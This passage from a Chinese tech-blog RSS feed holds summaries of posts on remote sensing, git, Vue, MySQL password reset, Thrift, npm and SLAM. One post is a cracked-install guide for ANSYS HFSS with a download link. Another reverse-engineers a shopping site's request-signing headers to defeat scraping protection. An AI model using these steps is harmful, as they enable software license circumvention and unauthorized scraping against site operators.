      <description>1.sentinel2数据介绍：&#xA;数据下载&#xA;一般从欧空局和earthdata可以下载&#xA;欧空局：https://scihub.copernicus.eu/dhus/#/hom；&#xA;详细教程可参考https://blog.csdn.net/weixin_43898892/article/details/101990073；&#xA;数据分为两种：&#xA;2018年以前的数据：原始数据2018年以后的数据：预处理过的（即处理过大气校正） 2.使用SNAP软件加载sentinel-2数据：&#xA;#首先是snap软件的下载地址：http://step.esa.int/ ；为了后续的方便，建议下载All Toolboxes版。#&#xA;如图1所示，File-&amp;gt;Import-&amp;gt;Optical Sensors-&amp;gt;Sentinel-2-&amp;gt;S2-MSI L2A.&#xA;图1 以加载sentinel2号数据为例 加载完成后，snap界面左上角窗口中会显示加载的数据，如图2所示：&#xA;然后右击所选影像-&amp;gt;Open RGB Image Window:然后会跳出下图3所示窗口。&#xA;图3 根据个人要求，选择合适波段进行彩色合成，完成影像加载。下图是sentinel-2卫星的波段参数以及和landsat8卫星。&#xA;比如若想加载假彩色合成影像，分别选择8，4，3三波段。 结果如下图所示：&#xA;以上便是本篇的全部内容，后续会继续学习有关snap的图像处理，批处理等操作。&#xA;参考文章：https://blog.csdn.net/weixin_43562878/article/details/106016954</description>
    </item>
    <item>
      <title>dell笔记本外接显示器_戴尔笔记本怎样外接显示器</title>
      <link>https://bchobby.github.io/posts/9b32808c382d82088a63c03a1732d645/</link>
      <pubDate>Tue, 23 Feb 2021 08:11:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b32808c382d82088a63c03a1732d645/</guid>
      <description>展开全部&#xA;1.首先，将显示器连接到电源，如下图所示，然e68a8462616964757a686964616f31333433633363后进行下一步。&#xA;2.其次，完成以上步骤后，将显示器数据线连接到笔记本电脑上的VGA接口，如下图所示，然后进行下一步。&#xA;3.然后，完成以上步骤后，打开外部显示屏，按快捷键组合点亮液晶显示屏Fn+F3，如下图所示，然后进行下一步。&#xA;4.然后，完成以上步骤后，关闭笔记本电脑屏幕，如下图所示，继续下一步。&#xA;5.然后，完成以上步骤后，右键单击计算机桌面，然后选择[properties]选项，如下图所示，然后继续下一步。&#xA;6.完成以上步骤后，在“properties”界面找到“Settings”选项，找到如下【display】，如下图所示，然后进行下一步。&#xA;7.然后，在完成以上步骤后，在“显示”下选择即插即用监视器，然后选中下面可以选中的所有选项，然后点击“应用”，不关闭此页面，如下图所示，继续下一步。&#xA;8.最后，完成以上步骤后，在同一页面上，选择“显示”下的“多显示器”选项，点击“确定”完成设置，如下图所示。这样，问题就解决了。&#xA;注意事项：&#xA;戴尔笔记本电脑可分为家用和商用产品。其中家居产品包括灵越经济模型系列、Studio娱乐模型系列、XPS游戏模型系列。商用产品包括Vostro系列经济机型、Latitude系列安全可靠机型和精密系列工作站机型。&#xA;戴尔最家用笔记本和部分商用笔记本型号命名规则都比简单好，基本是“品牌名称”、“系列”、屏幕尺寸、“什么代产品”和“配置码”。</description>
    </item>
    <item>
      <title>Ansoft HFSS——ANSYS Electronics Suite 2020R1 Install Guidance</title>
      <link>https://bchobby.github.io/posts/e98b1f466008765440fcb1fcb0ca4c34/</link>
      <pubDate>Mon, 22 Feb 2021 21:17:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e98b1f466008765440fcb1fcb0ca4c34/</guid>
      <description>Ansoft HFSS——HFSS 20R1破解版下载及安装教程 ANSYS Electronics Suite 2020R1 Install Guidance&#xA;Part 1：名词解析 Ansoft HFSS：Ansoft 公司推出的一款三维电磁仿真软件&#xA;HFSS：High Frequency Structure Similator（高频结构仿真器）&#xA;Part 2：安装步骤 1.打开下载好的安装包并解压&#xA;2.目录是这样的，解压的时候最好不要解压到C盘，注意：这个解压出来的整个的文件都是下载文件，与之后的安装文件夹是两码事&#xA;3.打开解压出的ANSYS_Electronics_Suite_2020R1，点击下图中红色圆圈框住的内容&#xA;4.点击后进入下图文件，点击autorun进行安装&#xA;5.点击黄色圆圈框住的内容&#xA;6.如果之前已经安装过一次，但是修改了整个程序的安装路径或其它原因需要重新安装，则点击remove，如果第一次安装请忽略此步骤&#xA;7.选择安装程序的路径：最好不要安装到C盘，安装路径最好无中文路径，可以提前在安装路径的位置新建一个有辨识度的文档，然后选择在该文档里安装&#xA;之后一路next&#xA;8.最关键的步骤：license！先点击第一个选项即“I have a new license file”&#xA;找到破解文件里面的license放进去&#xA;9.系统显示安装完成，点击finish！&#xA;10.其余两个画黄色小圈圈的安装步骤同上，最好都新建一个文件夹然后各自安装，注意：一旦安装之后千万不能随意修改路径！&#xA;11.然后还没有完！这个时候先不要打开软件（也打不开），复制下图的“crack”里面的“shared files”&#xA;粘贴到你的安装路径之中（就像我选择的I盘作为安装路径，然后系统自动分配了一个文件夹安装），这个时候会显示安装好的文件夹里面有同名文件，选择全部替换掉！&#xA;12.然后就破解安装成功啦！打开图标是这个样子的&#xA;Part 3：下载路径 https://pan.baidu.com/s/1T8BpjLkbz_md3MZANgUXVQ&#xA;提取码：ngt6</description>
    </item>
    <item>
      <title>git log参数详解</title>
      <link>https://bchobby.github.io/posts/98bec586d8e632cb15ee97f4a14d1171/</link>
      <pubDate>Mon, 22 Feb 2021 19:26:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98bec586d8e632cb15ee97f4a14d1171/</guid>
      <description>git log参数详解 例子展示两个提交之间的所有提交筛选提交历史简化排序提交格式化提交`--pretty[=]``--format=``--abbrev-commit``--no-abbrev-commit``--oneline``--encoding=``--expand-tabs = ``--expand-tabs``--no-expand-tabs``--notes [= ]``--no-notes``--show-signature``--relative-date``--date=``--date=relative``--date=local``--date=iso`（或`--date=iso8601`）`--date=iso-strict`（或`--date=iso8601-strict`）`--date=rfc`（或`--date=rfc2822`）`--date=short``--date=raw``--date=human``--date=unix``--date=format`:`--date=default``--parents``--children``--left-right``--graph``--show-linear-break[=]` 漂亮的打印样式`oneline``short``medium``full``fuller``reference``email``mboxrd``raw``format:`占位符扩展为单个文字字符：影响以后的占位符格式的占位符：`％Cred ``％Cgreen ``％Cblue ``%Creset ``％C（…）``％m``%w([[,[,]]])``％&amp;lt;（ [，trunc | ltrunc | mtrunc]）` 占位符扩展为从提交中提取的信息：`％H``％H``％T``％t``％P``％p``%an``%aN``%ae``％aE``％al``％aL``%ad``%aD``％ar``%at``％ai``％al``％as``％cn``％cN``％ce``％cE``％cl``％cL``%cd``%cD``％cr``％ct``％ci``％cI``％CS``％d``％D``％S``％e``％s``％F``％b``％B``％N``％GG``％G？``％GS``％GK``％GF``％GP``％GT``％gD``％gd``％gn`reflog`％gN`reflog`％ge`reflog`％gE`reflog`％gs`reflog tformat 例子 例子&#xA;git log --no-merges&#xA;显示整个提交历史，但跳过任何合并&#xA;git log v2.6.12… include/scsi drivers/scsi&#xA;显示自v2.6.12版本以来所有更改include/scsi或drivers/scsi子目录中 任何文件的提交&#xA;git log --since=“2 weeks ago” – gitk&#xA;显示最近两周对文件gitk的更改。在–避免与混乱是必要的分公司名为 gitk&#xA;git log --name-status release…test&#xA;显示在“测试”分支中但尚未在“发布”分支中的提交，以及每个提交修改的路径列表。&#xA;git log --follow builtin/rev-list.c&#xA;显示更改的提交builtin/rev-list.c，包括在为文件提供其当前名称之前发生的那些提交。&#xA;git log --branches --not --remotes=origin&#xA;显示在任何本地分支中但不在任何远程跟踪分支中的所有提交的提交。&#xA;git log master --not --remotes=*/master&#xA;显示所有在本地master中但不在任何远程存储库master分支中的提交。&#xA;git log -p -m --first-parent&#xA;仅从“主分支”角度显示包括更改差异的历史记录，跳过来自合并分支的提交，并显示合并引入的更改的完整差异。仅当在一个集成分支上遵循严格的合并所有主题分支的策略时，这才有意义。</description>
    </item>
    <item>
      <title>No PostCSS Config found in...</title>
      <link>https://bchobby.github.io/posts/e01e7da8faffc49a81d926485ae28e72/</link>
      <pubDate>Mon, 22 Feb 2021 17:14:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e01e7da8faffc49a81d926485ae28e72/</guid>
      <description> 报错解决 No PostCSS Config found in…&#xA;git clone&#xA;npm install&#xA;npm run dev&#xA;问题：上传GitHub，clone到本地，运行报错&#xA;解决：根目录新建文件postcss.config.js&#xA;module.exports = { plugins: { &#39;autoprefixer&#39;: {browsers: &#39;last 5 version&#39;} } } </description>
    </item>
    <item>
      <title>Python 爬虫进阶必备 | 某工业超市加密 header 参数分析</title>
      <link>https://bchobby.github.io/posts/37e1416d950f7a6a97d5a916e9691659/</link>
      <pubDate>Mon, 22 Feb 2021 14:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37e1416d950f7a6a97d5a916e9691659/</guid>
      <description>今日网站 aHR0cHM6Ly93ZWIuemtoMzYwLmNvbS9saXN0L2MtMjYwMTg2Lmh0bWw/c2hvd1R5cGU9cGljJmNscD0x&#xA;这个网站是在某交流群看到的，随手保存下来作为今天的素材&#xA;抓包分析与加密定位 先看看抓包的结果，可以看到请求的header中包含两个未知的参数，分别是zkhs和zkhst&#xA;进一步检索参数zkhst和zkhs，可以发现这两个参数的值没有做过混淆&#xA;并且都有对应的搜索结果&#xA;根据搜索结果的提示inde，进一步在文件中检索zkhst和zkhs&#xA;可以在文件中找到下面这几个关键位置&#xA;加密分析 在逻辑里比较明显的是&#xA;e.headers.zkhs = o,e.headers.zkhst = r 这行代码预示我们要分析的是o和r这两个变量&#xA;这两个变量的赋值分别可以在上面的 js 逻辑中找到&#xA;o = u()(&#34;body=&#34;.concat(i, &#34;&amp;amp;params=&#34;).concat(o, &#34;&amp;amp;sign_token=&#34;).concat(r), r) r = Object(s.f)(&#34;zkhst&#34;) 接下来只要单点调试即可，先来看o的生成&#xA;o的逻辑是将所有的参数拼接，传入u()中计算&#xA;这里的参数是一个逗号表达式，最后得到的传入参数是r&#xA;r = (&#34;body=&#34;.concat(i, &#34;&amp;amp;params=&#34;).concat(o, &#34;&amp;amp;sign_token=&#34;).concat(r) 这里较为明显的未知参数是body以及sign_token&#xA;可以通过断点分析得到下面的结果，这个结果就是计算后的r&#xA;body={&#34;brandId&#34;:&#34;&#34;,&#34;catalogueId&#34;:&#34;260186&#34;,&#34;cityCode&#34;:350100,&#34;clp&#34;:true,&#34;extraFilter&#34;:{&#34;inStock&#34;:false,&#34;showIndustryFeatured&#34;:false},&#34;from&#34;:0,&#34;fz&#34;:false,&#34;keyword&#34;:&#34;&#34;,&#34;productFilter&#34;:{&#34;brandIds&#34;:[&#34;&#34;],&#34;properties&#34;:{}},&#34;rangeFilter&#34;:null,&#34;searchType&#34;:{&#34;notNeedCorrect&#34;:false},&#34;size&#34;:20,&#34;sort&#34;:0}&amp;amp;params={&#34;traceId&#34;:&#34;213681131613962067063&#34;}&amp;amp;sign_token=799c9842f09c490196047064e10dead8 网站的开发很贴心了，还在逻辑里加了console.log&#xA;body和parmas都是查询参数，body中包含了城市信息之类的内容，这个需要根据要爬取的内容修改&#xA;除此之外还有sign_token未知，这个就是另一个要分析的参数zkhst&#xA;zkhst 获取 经过调试得到下面这个结果，在定位的js中有一个switch控制流&#xA;在918行，会进行一次判断，如果r = Object(s.f)(&#34;zkhst&#34;)没有获取到值，会进入到Object(l.i)();这个逻辑。如果有值会break进入926行的逻辑。&#xA;所以需要先把Object(s.f)(&#34;zkhst&#34;)的值变为undefinde，进入s.f中，可以看到下面这段逻辑&#xA;h = function(t) { t = document.cookie.match(new RegExp(&#34;(^| )&#34;.concat(t, &#34;=([^;]*)(;|$)&#34;))); return null != t ? decodeURIComponent(t[2]) : null } 可以得到zkhst是从cookie中得出的，直接清除cookie中的zkhst就能进入生成的逻辑</description>
    </item>
    <item>
      <title>vue项目中src引入相对路径的图片不显示问题</title>
      <link>https://bchobby.github.io/posts/57568f37c3b5c9f9e87cf98b60ade7ba/</link>
      <pubDate>Mon, 22 Feb 2021 14:09:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57568f37c3b5c9f9e87cf98b60ade7ba/</guid>
      <description>如下所示：&#xA;&amp;lt;template&amp;gt; &amp;lt;img :src=&#34;img&#34; alt=&#34;&#34;&amp;gt; &amp;lt;/template&amp;gt; export default { data () { img: &#39;./logo.png&#39; } } 这样动态引入图片，在页面会显示不出, 在这里有两种方法可以解决，造成这种现象的原因，我最后会说明&#xA;解决方法 第一种：直接 import 导入图片&#xA;&amp;lt;template&amp;gt; &amp;lt;img :src=&#34;img&#34; alt=&#34;&#34;&amp;gt; &amp;lt;/template&amp;gt; import img from &#39;./logo.png&#39; export default { data () { img } } 第二种方法： 将图片放到静态资源目录下 也就是 static 文件夹下，然后引入相对路径，也可以完美规避这种问题&#xA;好了，说了解决方法，下面来看看造成这种情况的原因，先了解一下 下面两个文件夹&#xA;assets: 一般我们会将图片，字体图标放到该文件夹下，在项目编译的过程中，该文件夹会被webpack处理解析为模块依赖，只支持相对路径形式。build的时候由Webpack解析为模块依赖。&#xA;static：该文件夹一般放置一些静态资源（第三方文件），这个目录下的文件不会被webpack处理，不会被webpack解析，它会直接放到最终的打包目录之下，一般没有做任何更改的情况下会在dist/static下。所以必须使用相对路径引用这些文件，这里是通过config.js文件中的build.assetsPublic和build.assertsSubDirectory链接来确定的。任何放在static/下的文件都是需要以相对路径的形式引入。&#xA;根据webpack的特性，放在static下的文件是不会变动的静态资源，asserts下放可能会变动的文件&#xA;总结一下原因：在动态加载的情况下，webpack会将图片当做模块来用，所以url-loader无法解析图片的相对路径，导致路径丢失，显示不出图片。</description>
    </item>
    <item>
      <title>MySQL8.0忘记密码了如何修改密码</title>
      <link>https://bchobby.github.io/posts/c1f2f087d7f5c7230460ed985be4195d/</link>
      <pubDate>Mon, 22 Feb 2021 02:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1f2f087d7f5c7230460ed985be4195d/</guid>
      <description>第一步：关闭Mysql服务 首先先停止mysql服务。可通过net stop mysql或者任务管理器中关闭。&#xA;以管理员权限操作：&#xA;第二步：跳过Mysql密码验证 进入命令提示符（管理员登陆）操作，进入mysql目录中bin文件夹下，mysql8.0与其他版本不同的地方在于无法直接使用mysqld --skip-grant-tables来跳过密码登录。在这我们使用mysqld -console --skip-grant-tables --shared-memory来跳过权限验证。&#xA;输入执行后没有反馈，新开一个管理员窗口重新执行。&#xA;进入目录后，确保自己已经关闭了Mysql的服务：net stop mysql&#xA;关闭Mysql服务之后，继续在D:\mysql-8.0.19-winx64\bin目录下进行操作：&#xA;输入&#xA;mysqld --console --skip-grant-tables --shared-memory 在输入这行代码之后，如下显示，我们就已经成功跳过Mysql的密码登录了：&#xA;第三步：无密码方式进入Mysql 在上述步骤之后，再打开一个管理员模式运行的cmd.exe&#xA;进入mysql下的bin目录后，直接登录mysql&#xA;不需要通过net start mysql打开mysql服务&#xA;在命令行中输入以下代码&#xA;d: cd D:\mysql-8.0.19-winx64\bin(此处输入自己电脑上的安装目录) mysql -u root -p 如图：&#xA;此时会显示让你输入密码，直接回车，就可以成功连接Mysql。&#xA;第四步：将登陆密码设置为空 输入代码，将密码设置为空（此时还不能直接修改密码，必须先设置为空，否则会报错）&#xA;输入：&#xA;use mysql; (使用mysql数据表) update user set authentication_string=&#39;&#39; where user=&#39;root&#39;;（将密码置为空） quit; (然后退出Mysql) 操作如图：&#xA;第五步：更改自己的登陆密码 这里分为两个部分&#xA;1.关闭第一个cmd窗口(一定要关闭！)； 2.在第二个窗口中输入代码； net stop mysql(关闭mysql服务,虽然会显示没有开启服务，但是以防万一) net start mysql(再打开mysql服务) (这里不要嫌麻烦，如果上一个mysql服务没关闭,我们依旧是无密码登陆)&#xA;操作如图：&#xA;接着输入：&#xA;cd D:\mysql-8.0.19-winx64\bin (此处输入自己电脑上的安装目录) mysql -u root -p (此处会显示输入密码，直接回车就好了，第四步我们已经将他置为空了) ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;root&#39;;（更改密码） 如图：</description>
    </item>
    <item>
      <title>ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: NO)解决办法</title>
      <link>https://bchobby.github.io/posts/16de40b057342efe62221c2e6d94cc5d/</link>
      <pubDate>Mon, 22 Feb 2021 02:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16de40b057342efe62221c2e6d94cc5d/</guid>
      <description>2021年12月20日。本文可收藏可转载可抄袭，但是麻烦抄袭的时候抄全点，别删的不成样子，让人瞎踩坑，这是在害人。我的博客大多比较详细，也可以说是啰嗦，因为用CSDN的大多是小白，将心比心，想想自己当初被垃圾博客搞得焦头烂额的时候。&#xA;2021年11月25日修改，标示打开的CMD窗口次序。&#xA;问题：ERROR 1045 (28000): Access denied for user ‘root’@‘localhost’ (using password: NO) 很久没用这台电脑的mysql了，今天需要连接数据库，启动数据库报错：&#xA;ERROR 1045 (28000): Access denied for user ‘root’@‘localhost’ (using password: NO)&#xA;解决方法： 查阅资料后知道了，应该使用已知的用户名和密码登陆&#xA;mysql -u root -p&#xA;然而密码忘了，试了好几遍终于试出来了：&#xA;然后修改成通用的密码，不乱折腾了：&#xA;发现很多教程都过时了，我的版本是Server version: 8.0.19 MySQL ，最新的方法：&#xA;mysql&amp;gt; use mysql; mysql&amp;gt; ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;123&#39;; mysql&amp;gt; flush privileges; 退出验证下看看有没有成功：&#xA;可以看到修改密码成功了。&#xA;然后呢，我又假装密码忘了，把忘记密码的修改密码方法演示一下： 第一步：关闭Mysql服务 首先先停止mysql服务。可通过net stop mysql或者任务管理器中关闭。&#xA;以管理员权限操作：（这是第一个窗口）&#xA;第二步：跳过Mysql密码验证 进入命令提示符（管理员登陆）操作，进入mysql目录中bin文件夹下，mysql8.0与其他版本不同的地方在于无法直接使用mysqld --skip-grant-tables来跳过密码登录。在这我们使用mysqld -console --skip-grant-tables --shared-memory来跳过权限验证。&#xA;输入执行后没有反馈，新开一个管理员窗口重新执行。（这是第二个窗口）&#xA;进入目录后，确保自己已经关闭了Mysql的服务：net stop mysql</description>
    </item>
    <item>
      <title>thrift序列化 java_[thrift]thrift中的对象序列化</title>
      <link>https://bchobby.github.io/posts/dc306197314fe9829883fd3d2a9682a6/</link>
      <pubDate>Sun, 21 Feb 2021 11:06:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc306197314fe9829883fd3d2a9682a6/</guid>
      <description>本文炒冷饭.说实话,一直挺看好Thrift,支持的语言又多,代码写的有很清晰,效率又不低,为啥研究Protocol Buffer的人那么多.不管那么多了....&#xA;Thrift中的对象序列化是我很看好的东西,他用compiler+类库,让你高效的完成任务,而且可以少犯错误.试想,有谁可以保证自己设计的对象,不会再改变呢?数据库的schema改了,你可以改改查询语句,但是如果你对象改了,之前序列化好的东西,有时候就很难搞回来了.(哎.....)&#xA;废话不说,看Thrift里面怎么搞的.&#xA;1. Thrift支持的数据类型&#xA;Thrift支持的数据类型定义在TProtocol.h这个头文件中,有一个TType的枚举:&#xA;enumTType {&#xA;T_STOP=0,&#xA;T_VOID=1,&#xA;T_BOOL=2,&#xA;T_BYTE=3,&#xA;T_I08=3,&#xA;T_I16=6,&#xA;T_I32=8,&#xA;T_U64=9,&#xA;T_I64=10,&#xA;T_DOUBLE=4,&#xA;T_STRING=11,&#xA;T_UTF7=11,&#xA;T_STRUCT=12,&#xA;T_MAP=13,&#xA;T_SET=14,&#xA;T_LIST=15,&#xA;T_UTF8=16,&#xA;T_UTF16=17};&#xA;而每一种Protocol都不一定全部支持这么多数据格式,T_LIST之前的都是被支持的.T_STRING是c string,可以和utf-8兼容.&#xA;2. Thrift对各种数据类型的读写&#xA;Thrift把对象序列化抽象成TProtocol这样一个抽象类,这个类的成员非常多,但是思路很明显,就是对各种数据类型的读写操作:&#xA;classTProtocol {public:virtual~TProtocol() {}&#xA;uint32_t writeMessageBegin(conststd::string&amp;amp;name,constTMessageType messageType,constint32_t seqid);&#xA;uint32_t writeMessageEnd();&#xA;uint32_t writeFieldBegin(constchar*name,constTType fieldType,constint16_t fieldId) ;&#xA;uint32_t writeFieldEnd();&#xA;uint32_t writeFieldStop();//写各种类型的数据uint32_t writeBool(constboolvalue);&#xA;uint32_t writeByte(constint8_tbyte);&#xA;uint32_t writeI16(constint16_t i16);&#xA;uint32_t writeStructBegin(constchar*name);&#xA;uint32_t writeStructEnd();//此处省略若干行uint32_t readMessageBegin(std::string&amp;amp;name,&#xA;TMessageType&amp;amp;messageType,&#xA;int32_t&amp;amp;seqid);&#xA;uint32_t readMessageEnd();&#xA;uint32_t readFieldBegin(std::string&amp;amp;name,&#xA;TType&amp;amp;fieldType,&#xA;int16_t&amp;amp;fieldId);</description>
    </item>
    <item>
      <title>lotus notes java_Lotus Notes邮件开发——JAVA（2） | 学步园</title>
      <link>https://bchobby.github.io/posts/b58ed3fd49f6a5afd142decf13e3bae1/</link>
      <pubDate>Sun, 21 Feb 2021 07:04:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b58ed3fd49f6a5afd142decf13e3bae1/</guid>
      <description>利用Notes的JAVA api发送邮件(代码片段)&#xA;最近要编写一个利用Notes自动发送邮件的程序,研究一天终于OK了``在这里跟大家分享代码&#xA;import lotus.domino.AgentBase;&#xA;import lotus.domino.NotesException;&#xA;import lotus.domino.NotesFactory;&#xA;import lotus.domino.Session;&#xA;public abstract class EclipseAgentBase extends AgentBase {&#xA;public abstract void sendMail(String text);&#xA;public Session getSession() {&#xA;try {&#xA;return NotesFactory.createSession();&#xA;} catch (NotesException e) {&#xA;throw new RuntimeException(&#34;Unable to create session&#34;, e);&#xA;}&#xA;}&#xA;}&#xA;import java.io.IOException;&#xA;import java.io.InputStream;&#xA;import java.util.Properties;&#xA;import lotus.domino.NotesThread;&#xA;import lotus.domino.Session;&#xA;import lotus.domino.*;&#xA;public class MyAgent extends EclipseAgentBase {&#xA;private String sendname;&#xA;private String servername;</description>
    </item>
    <item>
      <title>npm和cnpm混用导致错误:不是内部或外部命令，也不是可运行的程序或批处理文件</title>
      <link>https://bchobby.github.io/posts/5c4be2e27eae1063d07fc1cf3f27950b/</link>
      <pubDate>Sun, 21 Feb 2021 00:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c4be2e27eae1063d07fc1cf3f27950b/</guid>
      <description> 众所周知npm的下载速度十分稳定，所以项目之初我就使用cnpm（npm即使是修改了源地址速度也无法与cnpm相比）&#xA;然后在对一个依赖进行安装时少打了一个字母c，使用了npm安装此时意外发生了，安装好依赖后整个项目直接崩溃，出现了不是内部或外部命令，也不是可运行的程序或批处理文件的错误&#xA;原因 cnpm为了让npm安装快速和容易默认使用npminstall进行下载，此时再使用npm下载可能会导致npm下载失败，并且这种混乱会影响到node_modules文件夹&#xA;解决方法 删除node_modules文件夹重新使用cnpm下载，若使用install -save进行安装可以通过cnpm install快速安装&#xA;为了防止再次出错，使用命令cnpm i --by=npm react-native，将安装程序更改为原始npm，但您将失去最快的安装速度—官方解释&#xA;npm install命令参数 npm install moduleName 命令&#xA;安装模块到项目node_modules目录下。不会将模块依赖写入devDependencies或dependencies 节点。运行 npm install 初始化项目时不会下载模块。 npm install -g moduleName 命令&#xA;安装模块到全局，不会在项目node_modules目录中保存模块包。不会将模块依赖写入devDependencies或dependencies 节点。运行 npm install 初始化项目时不会下载模块。 npm install -save moduleName 命令&#xA;安装模块到项目node_modules目录下。会将模块依赖写入dependencies 节点。运行 npm install 初始化项目时，会将模块下载到项目目录下。运行npm install --production或者注明NODE_ENV变量值为production时，会自动下载模块到node_modules目录中。 npm install -save-dev moduleName 命令&#xA;安装模块到项目node_modules目录下。会将模块依赖写入devDependencies 节点。运行 npm install 初始化项目时，会将模块下载到项目目录下。运行npm install --production或者注明NODE_ENV变量值为production时，不会自动下载模块到node_modules目录中。 </description>
    </item>
    <item>
      <title>使用 Python 编写一个聊天小程序</title>
      <link>https://bchobby.github.io/posts/58fe768592d2bed730e4acd3d0e1288e/</link>
      <pubDate>Sat, 20 Feb 2021 21:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58fe768592d2bed730e4acd3d0e1288e/</guid>
      <description>欢迎关注 “小白玩转Python”，发现更多 “有趣”&#xA;本篇文章分享如何用相当简洁的 Python 代码制作一个简单的聊天应用程序。更重要的是，我已经实现了没有任何第三方依赖的代码！&#xA;首先，我创建了一个聊天服务器，通过它可以接收来自希望进行通信的客户机的传入请求。为此，我使用了很好的 ole’sockets 和一些多线程。使用像 Twisted 和 SocketServer 这样的框架是一种选择，但是对于像我们这样简单的软件来说，功能似乎有点太庞大了。&#xA;服务器&#xA;以下是我们如何开始我们的服务器脚本（对于这个应用程序，只有两个脚本：一个用于服务器，另一个用于客户端)）：&#xA;#!/usr/bin/env python3 &#34;&#34;&#34;Server for multithreaded (asynchronous) chat application.&#34;&#34;&#34; from socket import AF_INET, socket, SOCK_STREAM from threading import Thread 为此我们将使用 TCP sockets，因此我们使用 AF_INET 和 SOCK_STREAM 标志。我们通过 UDP sockets 使用它们，因为它们更像电话通讯，在通信开始之前接收者必须批准传入的连接，而 UDP sockets 更像是邮件类型（任何人都可以向任何地址为他/她知道的接收者发送邮件） ，所以它们在通信开始之前并不真正需要建立连接。显然，TCP 比 UDP 更适合我们的目的，因此我们使用它们。&#xA;在导入之后，我们设置了一些常量供以后使用：&#xA;clients = {} addresses = {} HOST = &#39;&#39; PORT = 33000 BUFSIZ = 1024 ADDR = (HOST, PORT) SERVER = socket(AF_INET, SOCK_STREAM) SERVER.</description>
    </item>
    <item>
      <title>java怎么写脚本_一名资深牛人写的Java脚本编程指南</title>
      <link>https://bchobby.github.io/posts/fa139970e9249e5b41bb2c2df3ec89ff/</link>
      <pubDate>Sat, 20 Feb 2021 19:58:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa139970e9249e5b41bb2c2df3ec89ff/</guid>
      <description>Java 脚本 是一种独立于框架的脚本语言，使用来自于Java代码的脚本引擎 。通过java脚本API，可以使用Java语言编写定制/可扩展的应用程序并将自定义脚本语言选择留给最终用户 。&#xA;脚本语言的一些有用的特性是：方便：大多数脚本语言都是动态类型的。您通常可以创建新的变量，而不声明变量类型，并且您可以重用变量来存储不同类型的对象。此外，脚本语言往往会自动执行许多类型的转换，例如， 必要时 将数字10转换为“10”。&#xA;开发快速原型：您可以避免编辑编译运行周期，只使用“编辑运行”！&#xA;应用扩展/定制：你可以“具体化”的部分应用程序，例如一些配置脚本，业务逻辑/规则和财务应用中的数学表达式 。&#xA;为应用添加命令行模式，用于调试、运行时配置/部署时间。现在大多数应用程序都有一个基于Web的GUI配置工具。但是系统管理员/部署人员常常喜欢命令行工具。一个“标准”的脚本语言可以用来实现这个目的，而不是发明特设的脚本语言。&#xA;脚本包&#xA;Java 脚本功能是在 javax.script 包中。这是一个比较小的，简单的API。脚本的出发点是 ScriptEngineManager 类。&#xA;创建一个ScriptEngineManager 对象从ScriptEngineManager 获取 ScriptEngine 对象使用ScriptEngine的eval方法执行脚本学习有困难或者想获取JAVA资料，学习方法可以找我java学习交流 群331789133&#xA;实例&#xA;Hello,World&#xA;执行一个脚本文件&#xA;脚本变量&#xA;当你的java应用程序嵌入脚本引擎和脚本，你可能希望将您的应用程序对象为全局变量暴露于脚本中&#xA;调用脚本函数和方法&#xA;通过脚本实现Java接口&#xA;有些时候通过脚本函数或者方法可以很方便的实现java接口，而不是在Java中调用。同时，通过接口我们可以避免在很多地方使用javax.script API接口。我们可以得到一个接口实现者对象并将其传递给不同的Java api&#xA;脚本的多作用域&#xA;JavaScript与Java的通信&#xA;C创建和使用Java的数组&#xA;实现Java 接口&#xA;Tag标签:</description>
    </item>
    <item>
      <title>高翔视觉SLAM十四讲学习笔记-第7讲视觉里程计（♥重点章节♥）</title>
      <link>https://bchobby.github.io/posts/4bccfa9d28cd1324ac22d93cf2c06e6f/</link>
      <pubDate>Sat, 20 Feb 2021 10:42:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bccfa9d28cd1324ac22d93cf2c06e6f/</guid>
      <description>第7讲视觉里程计 学习任务7.1 特征点法举个栗子🌰ORBBRIEF 7.2 2D-2D 对极几何八点法求矩阵E（Essential）从E计算R,t:奇异值分解使用H恢复R，t（八点法共面时）小结 7.3 三角测量三角测量的定义三角法求深度原理 7.4 3D-2D PnP（♥重要的姿态估计方法♥）PnP定义PnP问题求解方法7.4.1 直接线性变换（DLT）7.4.2 P3P7.4.3 PnP 优化解法 Bundle Adjustment 7.5 3D-3D ICP7.5.1 SVD 方法 学习任务 理解图像特征点的意义, 并掌握在单幅图像中提取出特征点，及多幅图像中匹配 特征点的方法。理解对极几何的原理，利用对极几何的约束，恢复出图像之间的摄像机的三维运 动。理解PNP 问题，及利用已知三维结构与图像的对应关系，求解摄像机的三维运 动。理解ICP 问题，及利用点云的匹配关系，求解摄像机的三维运动。理解如何通过三角化，获得二维图像上对应点的三维结构。 7.1 特征点法 路标&#xA;特征点&#xA;举个栗子🌰ORB BRIEF 7.2 2D-2D 对极几何 E共有五个自由度：也就是说至少有五对点就可以把E算出来，称为五点法但是比较麻烦，所以把它当成普通矩阵用八对点把E求出来。&#xA;八点法求矩阵E（Essential） 八对点构成的方程组8×9的矩阵，相当于AX=0的情况，解出A来就是要求的矩阵E&#xA;从E计算R,t:奇异值分解 使用H恢复R，t（八点法共面时） 小结 7.3 三角测量 在单目SLAM 中，仅通过单张图像无法获得像素的深度信息，我们需要通过三角测量（Triangulation）（或三角化）的方法来估计地图点的深度。&#xA;三角测量的定义 三角测量是指，通过在两处观察同一个点的夹角，确定该点的距离。在SLAM 中，我们主要用三角化来估计像素点的距离。&#xA;三角法求深度原理 7.4 3D-2D PnP（♥重要的姿态估计方法♥） PnP定义 PnP（Perspective-n-Point）是求解3D 到2D 点对运动的方法。它描述了当我们知道n 个3D 